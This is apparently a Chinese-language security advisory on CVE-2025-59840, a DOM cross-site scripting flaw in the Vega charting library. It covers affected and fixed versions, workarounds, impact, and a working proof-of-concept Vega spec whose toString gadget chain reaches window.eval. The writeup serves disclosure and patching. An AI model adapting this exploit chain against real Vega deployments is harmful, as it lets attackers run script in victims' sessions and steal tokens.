Vega表达式滥用toString调用导致跨站脚本(XSS)漏洞分析

本文详细分析了Vega库中存在的跨站脚本漏洞(CVE-2025-59840),攻击者可通过滥用表达式中的toString调用,在使用VEGA_DEBUG全局变量的环境中实现任意代码执行。

Vega跨站脚本(XSS)漏洞分析

漏洞概述

在满足以下两个条件的应用程序中存在任意JavaScript代码执行风险:

  1. 应用程序将vega库和vega.View实例附加到全局window对象(类似于Vega Editor的做法)
  2. 允许用户自定义Vega JSON定义(而非仅通过源代码提供JSON)

受影响版本

vega (npm)

  • 受影响版本:< 6.20
  • 已修复版本:6.20

vega-expression (npm)

  • 受影响版本:>= 6.0.0, < 6.1.0 或 < 5.2.1
  • 已修复版本:6.1.0 或 5.2.1

vega-interpreter (npm)

  • 受影响版本:>= 2.0.0, < 2.2.1 或 < 1.2.1
  • 已修复版本:2.2.1 或 1.2.1

修复方案

最新Vega版本(6.x)

使用vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1(如果使用AST评估器模式)

非ESM环境

使用vega-expression 5.2.1 / 1.2.1(如果使用AST评估器模式)

临时解决方案

  • 不要将vega View实例附加到全局变量
  • 不要将vega库附加到全局window对象

这些调试实践虽然方便,但不应在生产环境或任何可能由不受信任方提供vega/vega-lite定义的情况下使用。

漏洞原理

Vega在安全上下文中提供表达式评估功能,禁止任意函数调用。但当事件暴露给表达式时,可以获取window对象的成员。利用这种暴露,在某些应用程序中,通过精心构造覆盖其toString方法的对象,可以实现DOM XSS。

漏洞验证(POC)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }
      ]
    }
  ]
}

攻击流程

  1. 当鼠标移动时,提供的对象的toString函数在尝试将其与1相加时被隐式调用
  2. toString函数被重写为"gadget函数"(VEGA_DEBUG.vega.CanvasHandler.prototype.on)
  3. 该函数执行以下操作:
    • 使用undefined调用this.eventName(设置为console.log)
    • 设置d为this._handlers
    • 调用this._handlerIndex(设置为window.eval),使用从_handlers对象中索引undefined返回的字符串

影响分析

此漏洞允许DOM XSS攻击,具体形式取决于库的使用方式(可能是存储型或反射型)。利用该漏洞需要用户与页面交互。

攻击者可通过诱使用户打开恶意Vega规范来利用此问题,成功利用允许攻击者在应用程序域上下文中执行任意JavaScript,可能导致身份验证令牌等敏感信息被盗、显示给用户的数据被操纵,或以受害者身份执行未经授权的操作。

技术细节

CVSS评分:8.1(高危) 弱点类型:CWE-79 - Web页面生成期间输入中和不当(跨站脚本)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计